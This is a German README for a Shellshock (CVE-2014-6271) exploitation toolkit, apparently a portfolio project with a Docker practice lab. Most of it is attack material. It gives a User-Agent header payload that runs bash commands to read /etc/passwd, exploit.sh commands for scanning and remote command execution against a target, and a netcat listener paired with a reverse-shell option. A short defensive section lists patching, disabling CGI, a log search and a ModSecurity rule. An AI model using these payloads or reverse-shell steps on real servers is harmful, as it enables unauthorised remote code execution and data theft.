
Nachbildung von Shellshock (CVE-2014-6271) – die Bash-Sicherheitslücke, die Millionen von Servern gefährdete. Automatisiertes Exploitation-Toolkit + Burp-Suite-Methodik + Docker-Lab. Entwickelt für Sicherheitsforschung & Ausbildung. Offensives Sicherheits-Portfolioprojekt.
Automatisiertes Exploitation-Toolkit für CVE-2014-6271 (Shellshock)
Ein vollständiges Sicherheitsforschungsprojekt, das die Shellshock-Schwachstelle demonstriert, die 2014 Millionen von Servern betraf. Enthält automatisiertes Scannen, Exploitation-Funktionen und defensive Empfehlungen.
Demo
Shellshock (CVE-2014-6271) ist eine kritische Schwachstelle in der Bash-Shell, die Remote-Codeausführung durch Manipulation von Umgebungsvariablen ermöglicht. Sie wurde 2014 entdeckt, nachdem sie 22 Jahre lang existiert hatte, und betraf Millionen von Unix/Linux-Systemen weltweit.
So funktioniert es:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
Webserver, die CGI verwenden, übergeben HTTP-Header als Umgebungsvariablen an Bash, wodurch sie angreifbar werden:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Automatisierter Scanner
Exploitation-Tool
Laborumgebung
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Ändern Sie den User-Agent-Header:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Der Server führt Ihren Befehl aus und gibt die Ausgabe zurück.
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
Wenn Bash auf eine Funktionsdefinition in einer Umgebungsvariable stößt:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
Nur zu Bildungszwecken. Testen Sie ausschließlich Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis haben. Unbefugter Zugriff ist illegal.
Entwickelt, um zu verstehen, wie Schwachstellen funktionieren und wie man sich gegen sie verteidigt. ;)